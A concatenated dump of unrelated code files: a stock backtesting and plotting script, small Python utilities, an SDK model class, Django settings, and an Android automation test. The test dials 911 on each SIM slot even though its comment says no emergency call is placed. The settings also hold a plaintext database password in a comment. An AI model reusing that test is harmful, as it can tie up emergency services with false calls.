pd.read_csv(filename3,encoding='utf_8_sig')#index_col=flase 不会将第一列作为index ,converters={'trade_date':str}\n pass\n except Exception as err:\n print('myRead_csv err', err)\n return df\ndef myPlot(_code):#画图单个显示K线\n code=_code\n stock= myRead_csv(code)\n start = time.perf_counter()#计时开始\n ###画图开始\n spaceDays=10 #显示间隔日期数\n # stock=stock[stock['date']>'2016-01-01']#选择回测的截止日期数据\n stock =stock.reset_index(drop=True)#去掉原序，重新0开始\n length=len(stock)\n quotes = []\n for row in range(length):\n sdate_plt = stock.index.values[row] #提取索引单个值 \n sopen = stock.loc[row,'open']\n shigh = stock.loc[row,'high']\n slow = stock.loc[row,'low']\n sclose = stock.loc[row,'close']\n datas = (sdate_plt,sopen,shigh,slow,sclose) # 按照 candlestick_ohlc 要求的数据结构准备数据\n quotes.append(datas)\n x_ticks = [i[0] for i in quotes]#从list矩阵里取出列元素的方法 \n\n plt.rcParams['font.sans-serif']=['SimHei'] #用来正常显示中文标签 \n plt.rcParams['axes.unicode_minus']=False #用来正常显示负号 \n fig = plt.figure(figsize=(20,12), dpi=100,facecolor=\"white\") #创建fig对象\n gs = gridspec.GridSpec(1, 1, left=0.05, bottom=0.12, right=0.98, top=0.96, wspace=None, hspace=0.2)#, height_ratios=[3.5,1,1,1]\n graph_KAV = fig.add_subplot(gs[0,:])\n\n # 添加网格\n graph_KAV.grid(True) \n graph_KAV.set_title(code)\n mpf.candlestick_ohlc(graph_KAV,quotes,width=0.5,colorup='r',colordown='green') # 上涨为红色K线，下跌为绿色，K线宽度为0.7\n\n graph_KAV.plot(x_ticks,stock['MA5'],'b')\n # graph_KAV.plot(x_ticks,stock['MA10'] ,'y')#画出5/10金叉\n graph_KAV.plot(x_ticks,stock['MA120'],'k')\n graph_KAV.plot(x_ticks,stock['middleBoll'],'m--')#这样可以加进去新的线\n # graph_KAV.plot(x_ticks,stock['upBoll'],'r')\n # graph_KAV.plot(x_ticks,stock['downBoll'],'g')\n # graph_KAV.plot(x_ticks, stock['buyBoll'],'y.',markersize=11,label = \"buyBoll\")#标志处买点\n # graph_KAV.plot(x_ticks, stock['sellBoll'],'k.',markersize=11)#标志处卖点 ,label = \"sellBoll\"\n graph_KAV.plot(x_ticks,stock['buyBIAS120'] ,'y+',markersize=18,label = \"buyBIAS120\")#画出乖离率都大的\n graph_KAV.plot(x_ticks,stock['sellBIAS120'] ,'k+',markersize=18)#画出乖离率都大的 ,label = \"sellBIAS120\"\n graph_KAV.plot(x_ticks, stock['turtleBuy'],'y*',markersize=9,label = \"turtleBuy\")\n graph_KAV.plot(x_ticks, stock['turtleSell'],'k*',markersize=9)# ,label = \"turtleSell\"\n graph_KAV.plot(x_ticks, stock['bandBuy'],'y^',markersize=9,label = \"bandBuy\")\n graph_KAV.plot(x_ticks, stock['bandSell'],'kv',markersize=9)# ,label = \"peak\"\n #同图绘制KDJ\n b=stock['low'].min()#平移小于最小值以下\n b=0.618 *b #黄金比例\n coef=(stock.loc[stock.index.max(),'close'])#放大的倍率\n coef=0.1 *coef\n # graph_KAV.plot(np.arange(0, length), coef*stock['K']+b, 'y', label='K') # K\n # graph_KAV.plot(np.arange(0, length), coef*stock['D']+b, 'c-', label='D') # D\n # graph_KAV.plot(np.arange(0, length), coef*stock['J']+b, 'm-', label='J') # J\n # graph_KAV.axhline(y=coef*0.8+b, color='r', linestyle='-')#超买线\n # graph_KAV.axhline(y=coef*0.2+b, color='g', linestyle='-')#超卖线\n #同图绘制MACD\n #归一化映射到(-1,1)内\n macd_dif_max=stock['macd_dif'].max()\n macd_dif_min=stock['macd_dif'].min()\n stock['macd_dif'] = -1 + 2 / (macd_dif_max - macd_dif_min) * (stock['macd_dif'] - macd_dif_min)\n macd_dea_max=stock['macd_dea'].max()\n macd_dea_min=stock['macd_dea'].min()\n stock['macd_dea'] = -1 + 2 / (macd_dea_max - macd_dea_min) * (stock['macd_dea'] - macd_dea_min)\n macd_bar_max=stock['macd_bar'].max()\n macd_bar_min=stock['macd_bar'].min()\n stock['macd_bar'] = -1 + 2 / (macd_bar_max - macd_bar_min) * (stock['macd_bar'] - macd_bar_min)\n \n b=stock['low'].min()#平移小于最小值以下\n b=0.382 *b\n coef=(stock.loc[stock.index.max(),'close'])#放大的倍率\n coef=0.0618 *coef\n # graph_KAV.plot(np.arange(0, length), coef*stock['macd_dif']+b, 'red', label='macd_dif') # dif\n # graph_KAV.plot(np.arange(0, length), coef*stock['macd_dea']+b, 'blue', label='macd_dea') # dea\n # stock['bar_red'] = np.where(stock['macd_bar'] > 0, stock['macd_bar'], 0)# 绘制BAR>0 柱状图\n # stock['bar_green'] = np.where(stock['macd_bar'] < 0, stock['macd_bar'], 0)# 绘制BAR<0 柱状图\n # graph_KAV.bar(np.arange(0, length), coef*stock['bar_red'], bottom=b, facecolor='red')#上移0轴 bottom=b\n # graph_KAV.bar(np.arange(0, length), coef*stock['bar_green'], bottom=b,facecolor='green')\n ######实际买卖点位的可视检测开始########## \n filename3='G:\\\\stockData\\\\tradeInfo\\\\'+code[:6]+'.csv'\n ex=os.path.isfile(filename3) #当前文件是否存在\n if ex==True:\n try:\n df3=pd.read_csv(filename3,encoding='utf_8_sig')#\n df3=df3[(df3['bandBuy']>0) | (df3['bandSell']>0)]\n stock['trade']=stock[stock['date'].isin(list(df3['date']))]['close']\n graph_KAV.plot(x_ticks,stock['trade'] ,'c+',markersize=15,label = \"trade\")#显示实际买卖点\n except Exception as err:\n print('read_csv err', err)\n ##实际操作可视化结束######## \n # graph_KAV.set_xlim(0,length) #设置一下x轴的范围\n graph_KAV.legend(loc='best', shadow=True, fontsize='10') #主图生成的标签 \n # 生成横轴的刻度名字\n date_tickers=stock.date.values#日期\n def format_date(x,pos=None):#把int的x刻度转回日期格式y-m-d，回调函数\n if x<0 or x>len(date_tickers)-1:\n return ''\n return date_tickers[int(x)]\n graph_KAV.xaxis.set_major_locator(ticker.MultipleLocator(spaceDays))#原始显示间距6\n graph_KAV.xaxis.set_major_formatter(ticker.FuncFormatter(format_date))#重设x轴日期格式\n\n for label in graph_KAV.xaxis.get_ticklabels():\n label.set_rotation(45)\n label.set_fontsize(11) # 设置标签字体\n\n plt.legend()\n plt.show()\n########\ndef everyDayOperatorT(_date):##合并所有的交易数据，买卖信息，个股是分开存放的所以要合并\n path1='G:\\\\stockData\\\\tradeInfo\\\\'\n path2='G:\\\\stockData\\\\test\\\\'\n files= os.listdir(path1) #得到文件夹下的所有文件名称\n for code in files: #遍历文件夹\n print(code+' start')\n filename=path1+code \n try: \n df=pd.read_csv(filename)#,encoding='utf_8_sig'\n df=df.drop_duplicates()#删除重复行\n except Exception as err:\n print(filename+'read_csv err', err)\n # df=df.tail(1)\n df=df[(df['date']==_date) & (df['buy']> 0)]\n if len(df)==0:\n continue\n ex=os.path.isfile(path2+_date+'.csv') #当前文件是否存在，存在即添加，不存在新建\n if ex==False : \n df.to_csv(path2+_date+'.csv',index=None,encoding='utf_8_sig')#新建保存每个的数据 \n else :\n df.to_csv(path2+_date+'.csv',mode='a',index=None,header=False,encoding='utf_8_sig')#后尾追加保存每个的数据 \n print(_date+':everydayList finish')\n# everyDayOperatorT('2020-12-08')\n\ndef buy_sellResult(df,buyName):#显示买卖回测数据统计结果\n df=df[(df['buy']>0) | (df['sell']>0)]#选出交易数据\n df =df.reset_index(drop=True)#去掉原序，重新0开始 \n df['profit_curve'] = df['profit'].cumsum()#资金曲线\n allTimes = len(df[(df['sell']>0)]) \n if allTimes==0:\n return\n df.loc[0,'allTimes']= allTimes #卖出次数作为总次数\n winTimes= len(df[(df['profit']>0)])\n df.loc[0,'winTimes']= winTimes #盈利次数\n df.loc[0,'winRate']= winTimes / allTimes#胜率\n df.loc[0,'allMoney']= df[df['sell']>0]['money'].sum()#总盈利额\n df.loc[0,'allProfits']= df['profit'].sum()#总盈利额\n df.loc[0,'Risk']= (df['profit'].sum() / allTimes) / 800 #Risk 盈亏比 800= 200000 * 0.4% :总资产*风险因子\n q=df['days'].sum()\n df.loc[0,'daysMean']= (df['days'].sum() / allTimes)#持仓平均天数\n df.loc[0,'maxWin']= df['profit'].max()\n df.loc[0,'maxLose']= df['profit'].min()\n tempMax = -9999999\n maxReturn = -9999999#最大回撤\n for row in range(len(df)):#\n if df.loc[row,'profit_curve'] > tempMax:\n tempMax = df.loc[row,'profit_curve']\n if df.loc[row,'profit_curve'] <= tempMax:\n t= (tempMax - df.loc[row,'profit_curve'])\n if t > maxReturn:\n maxReturn = t\n df.loc[0,'maxReturn']= maxReturn #最大回撤\n code =(df.loc[0,'ts_code'])\n filename='G:\\\\stockData\\\\tradeInfo\\\\'+ code + '_'+buyName+'.csv'\n df.to_csv(filename,index=None,encoding='utf_8_sig')#新建保存每个的数据\n # df=df.loc[0,:] #取单行时默认返回series\n df=df.loc[[0]] #即可返回一个dataframe\n df=df[['ts_code','allTimes','winTimes','winRate','allMoney','allProfits','Risk','daysMean','maxWin','maxLose','maxReturn']]\n # df= df[df['allTimes']>0]\n filename = 'G:\\\\stockData\\\\test\\\\'+buyName+'.csv'\n ex=os.path.isfile(filename) #当前文件是否存在，存在即添加，不存在新建\n if ex==False: \n df.to_csv(filename,index=None,encoding='utf_8_sig')#新建保存每个的数据 \n else :\n pass\n df.to_csv(filename,mode='a',index=None,header=False,encoding='utf_8_sig')#后尾追加保存每个的数据\n # df1 = pd.read_csv(filename,encoding='utf_8_sig')#index_col=0 不新设index\n # df1=df.drop_duplicates(['ts_code']) #去掉重复的行\n # df1.to_csv(filename,index=None,encoding='utf_8_sig')#新建保存每个的数据\n\n\ndef myFor():#显示mydata文件下所有回测数据\n # path1='G:\\\\stockData\\\\myData\\\\'\n path1='G:\\\\stockData\\\\tradeInfo\\\\'\n files= os.listdir(path1) #得到文件夹下的所有文件名称\n files=[(x[:6] + '.csv') for x in files]\n files=list(set(files))#set 可以去重复\n # files=['000629.csv']\n for code in files: #遍历文件夹\n myPlot(code)\n# myFor()\n\ndef myFor1():#显示回测完成结果，有交易数据\n # everyDayOperatorT('test') #合并买卖所以个股数据 已经不用合并啦-20201119\n filename='G:\\\\stockData\\\\test\\\\120up&all_macd金叉死叉2.csv'\n try:\n df=pd.read_csv(filename,encoding='utf_8_sig')#新建保存每个的数据\n except Exception as err:\n print('myFor1 read_csv err', err) \n codeList=list(df['ts_code'])\n for code in codeList: #遍历文件夹\n code=code[:6]+'.csv'\n myPlot(code)\nmyFor1()\n\ndef myFor3(filename):#统计回测数据：所有个股30年数据的成功率 、 交易次数、盈亏比R、盈利总数，并分别R和盈利总数排序，画出盈利曲线\n start = time.perf_counter()#计时开始\n print('count start....')\n path1='G:\\\\stockData\\\\myData\\\\'\n filename='allStockList' # allStockList sz50s zz500s hs300s\n codeList= stockList(filename) #得到目标股票池下的所有代码名称\n for code in codeList: #遍历文件夹\n try:\n code= code+'.csv'\n print(code + ' count start....')\n df= myRead_csv(code)\n df1=df.copy()\n #band\n df= df[['ts_code','date','ATR','top_level','buttom_level','bandBuy','bandSell','band_num','band_money','band_tax','band_profit','band_days']]\n df= df.rename(columns={'bandBuy': 'buy','bandSell': 'sell','band_num': 'num','band_money': 'money','band_tax': 'tax','band_profit': 'profit','band_days': 'days'})#选择性更改列名\n buyName='120up&all_macd金叉死叉2'\n buy_sellResult(df,buyName)#band\n #21 turtle\n df1= df1[['ts_code','date','ATR','turtleBuy','turtleSell','turtle_num','turtle_money','turtle_tax','turtle_profit','turtle_days']]\n df1= df1.rename(columns={'turtleBuy': 'buy','turtleSell': 'sell','turtle_num': 'num','turtle_money': 'money','turtle_tax': 'tax','turtle_profit': 'profit','turtle_days': 'days'})#选择性更改列名\n buyName='120up&allStockList_55天唐奇安突破0.618'\n # buy_sellResult(df1,buyName)\n # myPlot(code)#显示K线\n except Exception as err:\n print(code +'read_csv err', err)\n continue\n print('...count end...')\n elapsed = time.perf_counter() - start\n print(\"all Time used:\",elapsed) \nmyFor3('1')\n# everyDayOperatorT('2020-12-11')\n#\ndef chooseNewHigh1(beforeDays):#龙头选股,更新每天的历史新高股\n start = time.perf_counter()#计时开始\n print('...choose start....')\n filename='allStockList' \n codeList= stockList(filename) #得到目标股票池下的所有代码名称\n for code in codeList: #遍历文件夹\n path1='G:\\\\stockData\\\\originData\\\\'+ code[:6] +'.csv'\n try:\n df=pd.read_csv(path1,encoding='utf_8_sig')#新建保存每个的数据\n except Exception as err:\n print(code +'read_csv err', err)\n continue\n if len(df) < 100 | df['ts_code'].str.contains('ST')[0]:\n continue\n today=datetime.datetime.now().strftime('%Y%m%d')\n # today='20201126'\n filename1 = 'G:\\\\stockData\\\\newHighPool\\\\'+ today +'.csv'\n ex=os.path.isfile(filename1) #当前文件是否存在，存在即添加，不存在新建\n d=str(df.iloc[-1]['trade_date'])\n if d== today :\n # length=len(df)\n m=df['high'].max()\n for row in range(-beforeDays,-1):\n t=df.iloc[row]['high']\n if t >= m:\n df=df.loc[[0]]\n df=df[['ts_code']]\n if ex==False: \n df.to_csv(filename1,index=None,encoding='utf_8_sig')#新建保存每个的数据 \n else :\n df.to_csv(filename1,mode='a',index=None,header=False,encoding='utf_8_sig')#后尾追加保存每个的数据\n break\n else:\n continue\n if ex==True:\n df=pd.read_csv(filename1,encoding='utf_8_sig')#\n f='G:\\\\stockData\\\\newHighPool\\\\'+ today +'.txt'\n df.to_csv(f, sep='\\t', index=False)\n # print('choose end.')\n elapsed = time.perf_counter() - start\n print(\"all Time used:\",elapsed)\n# chooseNewHigh1(5)\n# ","sub_path":"showTestData.py","file_name":"showTestData.py","file_ext":"py","file_size_in_byte":15120,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"273970400","text":"# coding=utf-8\n\n\"\"\"\nSource files and annotated source files.\n\"\"\"\n\nimport os\n\nimport fragments\n\nclass SourceFile(object):\n \"\"\"\n A source file seen as as sequence of lines. The source file may contains\n some list of errors.\n \"\"\"\n def __init__(self, fileName):\n if not os.path.isfile(fileName):\n raise Exception('File \"%s\" not found' \\\n % fileName)\n\n self.fileName = fileName\n \"\"\" The filename as given when creating the source file\"\"\"\n\n self.name = \\\n os.path.splitext(os.path.basename(self.fileName))[0]\n \"\"\" The short file name with extension included \"\"\"\n\n f = open(fileName, 'r')\n self.sourceLines = tuple(f.read().splitlines())\n \"\"\" The list of lines of the source file\"\"\"\n f.close()\n\n self.errors = []\n \"\"\" The list of errors \"\"\"\n\n def addError(self, sourceError):\n self.errors.append(sourceError)\n\n def clearErrors(self):\n self.errors = []\n\n def __repr__(self):\n return ('SourceFile(%s)'%self.fileName)\n\n\n\nclass AnnotatedSourceFile(SourceFile):\n \"\"\"\n A source file with annotated fragments. The source can be viewed\n both as a flat sequence of line or as a fragment trees.\n The annotation markers can be defined when building the source file.\n \"\"\"\n def __init__(self, fileName,\n openingMark = r'--oo<< *(?P[^ \\n]+) *$',\n closingMark = r'--oo>> *$',\n hereMark = r'--oo== *(?P[^ \\n]+) *$'):\n \"\"\"\n Create a annotated source file. The mark have to be provided\n in the form of regular expression with sometimes an optional\n named group with the named value. That is a regexp group like\n (?P ... ). This part will be extracted and will\n constitute the name of the mark.\n :param fileName: the file name\n :type fileName: str\n :param openingMark: The opening mark with ?P group\n :type openingMark: str\n :param closingMark: The closing mark\n :type closingMark: str\n :param hereMark: The here mark with ?P group\n :type hereMark: str\n :return: AnnotatedSourceFile\n :rtype: AnnotatedSourceFile\n \"\"\"\n\n super(AnnotatedSourceFile,self).__init__(fileName)\n self.openingMark = openingMark\n self.closingMark = closingMark\n self.hereMark = hereMark\n\n fragmenter = fragments.RegexpFragmenter(\n self.sourceLines,\n openingMark, closingMark, hereMark,\n mainValue = self, firstPosition = 1)\n\n self.fragment = fragmenter.fragment\n \"\"\" The root fragment according to the given mark \"\"\"\n\n def __repr__(self):\n return ('AnnotatedSourceFile(%s)'%self.fileName)\n\n\n\n\n","sub_path":"pyuseocl/utils/sources.py","file_name":"sources.py","file_ext":"py","file_size_in_byte":2823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"439732544","text":"'''\nAuthor : Oguzhan Gencoglu\nContact : oguzhan.gencoglu@tut.fi\nCreated : 18.07.2015\nLatest Version : 18.07.2015\n'''\n\nimport numpy as np\n\ndef unique_rows(mat):\n # Return unique rows of a numpy 2D array \n\n b = np.ascontiguousarray(mat).view(np.dtype((np.void, mat.dtype.itemsize * mat.shape[1])))\n _, idx = np.unique(b, return_index=True)\n unique_rows = mat[idx]\n \n return(unique_rows)","sub_path":"Python/Other/unique_rows.py","file_name":"unique_rows.py","file_ext":"py","file_size_in_byte":427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"297597398","text":"import CoolProp.CoolProp as CP\n\nclass Node(object):\n\n \"define internal properties at node\"\n def __init__(self):\n self.fluid = 'R134a'\n self.p = None\n self.t = None\n self.h = None\n self.s = None\n self.x = None\n\n \"given two properties at node, calculate the rest\"\n def pt(self):\n self.h = CP.PropsSI('H','P',self.p,'T',self.t,self.fluid)\n self.s = CP.PropsSI('S','P',self.p,'T',self.t,self.fluid)\n self.x = CP.PropsSI('Q','P',self.p,'T',self.t,self.fluid)\n \n def ps(self):\n self.h = CP.PropsSI('H','P',self.p,'S',self.s,self.fluid)\n self.x = CP.PropsSI('Q','P',self.p,'S',self.s,self.fluid)\n self.t = CP.PropsSI('T','P',self.p,'S',self.s,self.fluid)\n \n def ph(self):\n self.t = CP.PropsSI('T','P',self.p,'H',self.h,self.fluid)\n self.s = CP.PropsSI('S','P',self.p,'H',self.h,self.fluid)\n self.x = CP.PropsSI('Q','P',self.p,'H',self.h,self.fluid)\n def px(self):\n self.h = CP.PropsSI('H','P',self.p,'Q',self.x,self.fluid)\n self.s = CP.PropsSI('S','P',self.p,'Q',self.x,self.fluid)\n self.t = CP.PropsSI('T','P',self.p,'Q',self.x,self.fluid)\n\n def tx(self):\n self.h = CP.PropsSI('H','T',self.t,'Q',self.x,self.fluid)\n self.s = CP.PropsSI('S','T',self.t,'Q',self.x,self.fluid)\n self.p = CP.PropsSI('P','T',self.t,'Q',self.x,self.fluid)\n\n def th(self):\n \"use T to find hg,hf, then use h to find x, hence actually tx\"\n \"this is for throttle, only works in vapour dome\"\n hg = CP.PropsSI('H','T',self.t,'Q',1.0,self.fluid)\n hf = CP.PropsSI('H','T',self.t,'Q',0.0,self.fluid)\n self.x = (self.h - hf)/(hg - hf)\n self.s = CP.PropsSI('S','T',self.t,'Q',self.x,self.fluid)\n self.p = CP.PropsSI('P','T',self.t,'Q',self.x,self.fluid)\n\n\n\n\n\n ","sub_path":"original/Nodes.py","file_name":"Nodes.py","file_ext":"py","file_size_in_byte":1852,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"586250605","text":"# coding=utf8\n\n# Copyright 2018 JDCLOUD.COM\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n# NOTE: This class is auto generated by the jdcloud code generator program.\n\n\nclass VmInfo(object):\n\n def __init__(self, id=None, region=None, az=None, name=None, hostName=None, imageType=None, instanceType=None, description=None, subnetId=None, tags=None, cloudID=None, keyNames=None, elasticIpAddress=None, privateIpAddress=None, status=None, createdTime=None, imageId=None, securityGroupIds=None):\n \"\"\"\n :param id: (Optional) 资源ID，如果为空，则执行创建操作，否则执行修改操作\n :param region: (Optional) 可用区,根据各云平台规范填写\n :param az: (Optional) 云主机所属的可用区\n :param name: (Optional) 云主机名称\n :param hostName: (Optional) 云主机\n :param imageType: (Optional) \n :param instanceType: (Optional) \n :param description: (Optional) 云主机描述\n :param subnetId: (Optional) 子网ID\n :param tags: (Optional) \n :param cloudID: (Optional) 所属云提供商ID\n :param keyNames: (Optional) 密钥对名称,jd当前只支持传入一个\n :param elasticIpAddress: (Optional) 主网卡主IP绑定弹性IP的地址\n :param privateIpAddress: (Optional) 私有ip地址\n :param status: (Optional) 云主机状态\n :param createdTime: (Optional) 创建时间\n :param imageId: (Optional) 镜像ID\n :param securityGroupIds: (Optional) 安全组ID\n \"\"\"\n\n self.id = id\n self.region = region\n self.az = az\n self.name = name\n self.hostName = hostName\n self.imageType = imageType\n self.instanceType = instanceType\n self.description = description\n self.subnetId = subnetId\n self.tags = tags\n self.cloudID = cloudID\n self.keyNames = keyNames\n self.elasticIpAddress = elasticIpAddress\n self.privateIpAddress = privateIpAddress\n self.status = status\n self.createdTime = createdTime\n self.imageId = imageId\n self.securityGroupIds = securityGroupIds\n","sub_path":"jdcloud_sdk/services/jdfusion/models/VmInfo.py","file_name":"VmInfo.py","file_ext":"py","file_size_in_byte":2658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"552891690","text":"'''\n@author: wei,xiang\n'''\n\nimport fs_wrapper\nimport settings.common as SC\nfrom case_utility import *\nfrom logging_wrapper import log_test_case, save_fail_log, print_report_line\nfrom test_case_base import TestCaseBase\nfrom qrd_shared.case import *\nimport re\n\n\n\nclass test_suit_cmcc_devci_phone_case7(TestCaseBase): \n '''\n\n @see: L{TestCaseBase }\n '''\n\n \n #def exe_command(self,pipe, command=\"\"):\n # ret_val = \"\"\n #print \"exec command:\", command\n\n #if no command arg, it means reading output only\n # if ( command != \"\" ):\n # pipe.stdin.write(command)\n # pipe.stdin.flush()\n # pipe.stdout.readline() #this will read the command itself\n #print \"command itself:\", str\n\n #this will read the command output\n # ch = pipe.stdout.readline(1)\n # one_line = ''\n # while ( re.match(r'^[$#]', ch, re.M|re.I) == None ):\n #print \"ch:\", ch\n # if ( ch != '\\r'): one_line = one_line + ch #\\n is for newline\n #add the line\n # if ( ch == '\\n' ):\n # ret_val = ret_val + one_line\n # one_line = \"\"\n # ch = pipe.stdout.readline(1)\n\n #print \"command output:\", ret_val\n # return ret_val\n \n \n def test_case_main(self, case_results):\n \n incommon.record_video()\n # self.adb_pipe = subprocess.Popen('adb shell', stdin=subprocess.PIPE, stdout=subprocess.PIPE, bufsize=1)\n # while ( re.match( r'^[$#]', self.adb_pipe.stdout.readline(1), re.M|re.I) == None ):\n # pass\n # pid = self.exe_command(self.adb_pipe,'screenrecord --verbose /storage/sdcard0/Record.mp4 &\\n') \n # apid=pid.strip('\\r\\n').split(' ')\n # self.dog = apid[1]\n \n \n global case_flag ,case_flag_slot1,case_flag_slot2, TAG\n case_flag_slot1=False\n case_flag_slot2=False\n case_flag = False\n TAG = \"Dev-ci cases: Phone \"\n log_test_framework(TAG, self.name + \" -Start\")\n \n \n \"\"\"\n \n cases contnets you need to add\n \n \n \"\"\"\n #modified by c_yazli\n #send_key(KEYCODE_POWER)\n #sleep(1)\n #send_key(KEYCODE_POWER)\n #sleep(1)\n #click_textview_by_text('EMERGENCY CALL')\n start_activity('com.android.settings','.Settings')\n settings.set_default_voice(1)\n send_key(KEY_BACK)\n send_key(KEY_BACK)\n sleep(2)\n start_activity(\"com.android.phone\", \"com.android.phone.EmergencyDialer\")\n sleep(1)\n if search_text('Emergency Dialer'):\n phone.dial(\"911\")\n sleep(1)\n func1=lambda:search_text('Emergency number', searchFlag=TEXT_CONTAINS) and search_text('Mobile',searchFlag=TEXT_CONTAINS)\n sleep(1)\n if wait_for_fun(func1, True, 30):\n case_flag_slot1=True \n log_test_framework(TAG, \"Dial emergency call from card 1 successfully \")\n else:\n log_test_framework(TAG, \"Dial emergency call from card 1 unsuccessfully\")\n if search_view_by_desc('End'):\n click_imageview_by_desc('End')\n \n \n start_activity('com.android.settings','.Settings')\n settings.set_default_voice(2)\n send_key(KEY_BACK)\n send_key(KEY_BACK)\n sleep(2)\n start_activity(\"com.android.phone\", \"com.android.phone.EmergencyDialer\") \n sleep(1)\n if search_text('Emergency Dialer'): \n phone.dial('911')\n sleep(2)\n func2=lambda:search_text('Emergency number', searchFlag=TEXT_CONTAINS) and search_text('Unicom',searchFlag=TEXT_CONTAINS)\n sleep(2)\n if wait_for_fun(func2, True, 30):\n case_flag_slot2=True \n log_test_framework(TAG, \"Dial emergency call from card 2 successfully \")\n else:\n log_test_framework(TAG, \"Dial emergency call from card 2 unsuccessfully\")\n if search_view_by_desc('End'):\n click_imageview_by_desc('End')\n #click_button_by_id(\"digits\")\n #entertext_edittext_by_id(\"digits\", \"911\")\n case_flag=case_flag_slot1 and case_flag_slot2\n \n \n \n #Note: I do not actually place an emergency call as false emergency calls are illegal; I simply enter the emergency call mode for the purposes of the test\n \n \n if case_flag:\n qsst_log_case_status(STATUS_SUCCESS, \"\" , SEVERITY_HIGH)\n else:\n qsst_log_case_status(STATUS_FAILED, \"\", SEVERITY_HIGH)\n \n case_results.append((self.case_config_map[fs_wrapper.CASE_NAME_ATTR], case_flag))\n \n \n def test_case_end(self):\n '''\n record the case result\n\n '''\n log_test_case(self.case_config_map[fs_wrapper.CASE_NAME_ATTR], TAG + ' : end')\n if can_continue() and case_flag == True:\n # shutdown()\n log_test_case(self.case_config_map[fs_wrapper.CASE_NAME_ATTR], TAG + ': case pass')\n print_report_line(self.case_config_map[fs_wrapper.CASE_NAME_ATTR] + TAG + ' : \\tpass')\n else:\n log_test_case(self.case_config_map[fs_wrapper.CASE_NAME_ATTR], TAG + ' : case fail')\n print_report_line(self.case_config_map[fs_wrapper.CASE_NAME_ATTR] + TAG + ' : \\tfail')\n save_fail_log()\n \n \n # self.exe_command(self.adb_pipe,'kill -2 %s\\n'%self.dog)\n #time.sleep(3)\n # os.system('adb pull /storage/sdcard0/Record.mp4 C:/1/1.mp4')\n #self.adb_pipe.kill()\n incommon.stop_video_record(\"phonecase7\")","sub_path":"Source/QSST/Config/data/L/test_env/test_suit_cmcc_devci_phone/test_suit_cmcc_devci_phone_case7.py","file_name":"test_suit_cmcc_devci_phone_case7.py","file_ext":"py","file_size_in_byte":5696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"150422998","text":"# Django settings for sview project.\n\n#DEBUG = True\ntry:\n from local_settings import *\nexcept ImportError:\n raise Exception('no local_settings found!')\n\nTEMPLATE_DEBUG = DEBUG\n\nimport os\nROOT_PATH = os.path.abspath(os.path.dirname(__file__))\n\n#MOVED TO LOCAL SETTINGS\n# ADMINS = (\n# # ('Your Name', 'your_email@example.com'),\n# )\n\n#MOVED TO LOCAL SETTINGS\n#DOMAIN = \"supplierview.com\"\n\nPROJECT_NAME = \"SupplierView\"\n\nMANAGERS = ADMINS\n\n#MOVED TO LOCAL SETTINGS\n# DATABASES = {\n# 'default': {\n# 'ENGINE': 'django.db.backends.postgresql_psycopg2', # Add 'postgresql_psycopg2', 'postgresql', 'mysql', 'sqlite3' or 'oracle'.\n# 'NAME': 'sview_dev', # Or path to database file if using sqlite3.\n# 'USER': 'sview', # Not used with sqlite3.\n# 'PASSWORD': '5a15a', # Not used with sqlite3.\n# 'HOST': 'localhost', # Set to empty string for localhost. Not used with sqlite3.\n# 'PORT': '', # Set to empty string for default. Not used with sqlite3.\n# }\n# }\n\n# Local time zone for this installation. Choices can be found here:\n# http://en.wikipedia.org/wiki/List_of_tz_zones_by_name\n# although not all choices may be available on all operating systems.\n# On Unix systems, a value of None will cause Django to use the same\n# timezone as the operating system.\n# If running in a Windows environment this must be set to the same as your\n# system time zone.\nTIME_ZONE = 'America/Chicago'\n\n# Language code for this installation. All choices can be found here:\n# http://www.i18nguy.com/unicode/language-identifiers.html\nLANGUAGE_CODE = 'en-us'\n\nSITE_ID = 1\n\n# If you set this to False, Django will make some optimizations so as not\n# to load the internationalization machinery.\nUSE_I18N = True\n\n# If you set this to False, Django will not format dates, numbers and\n# calendars according to the current locale\nUSE_L10N = True\n\n# Absolute filesystem path to the directory that will hold user-uploaded files.\n# Example: \"/home/media/media.lawrence.com/media/\"\nMEDIA_ROOT = os.path.join(ROOT_PATH, 'user_media')\n\n# URL that handles the media served from MEDIA_ROOT. Make sure to use a\n# trailing slash.\n# Examples: \"http://media.lawrence.com/media/\", \"http://example.com/media/\"\n##OVERRIDE IN LOCAL SETTINGS \n#MEDIA_URL = \"http://devmedia.supplierview.com\"\n\n# Absolute path to the directory static files should be collected to.\n# Don't put anything in this directory yourself; store your static files\n# in apps' \"static/\" subdirectories and in STATICFILES_DIRS.\n# Example: \"/home/media/media.lawrence.com/static/\"\nSTATIC_ROOT = os.path.abspath(os.path.dirname(__file__)) + '/user_media/'\nUSER_MEDIA_PATH = os.path.join(ROOT_PATH, 'user_media')\n\n# URL prefix for static files.\n# Example: \"http://media.lawrence.com/static/\"\n##OVERRIDE IN LOCAL SETTINGS \n#STATIC_URL = 'http://devstatic.supplierview.com/media/'\n\n# URL prefix for admin static files -- CSS, JavaScript and images.\n# Make sure to use a trailing slash.\n# Examples: \"http://foo.com/static/admin/\", \"/static/admin/\".\n##OVERRIDE IN LOCAL SETTINGS \n#ADMIN_MEDIA_PREFIX = 'http://devstatic.supplierview.com'\n\n# Additional locations of static files\nSTATICFILES_DIRS = [\n # Put strings here, like \"/home/html/static\" or \"C:/www/django/static\".\n # Always use forward slashes, even on Windows.\n # Don't forget to use absolute paths, not relative paths.\n\n]\nif DEBUG:\n STATICFILES_DIRS.append( os.path.join( ROOT_PATH, \"media/\" ) )\n# List of finder classes that know how to find static files in\n# various locations.\nSTATICFILES_FINDERS = (\n 'django.contrib.staticfiles.finders.FileSystemFinder',\n 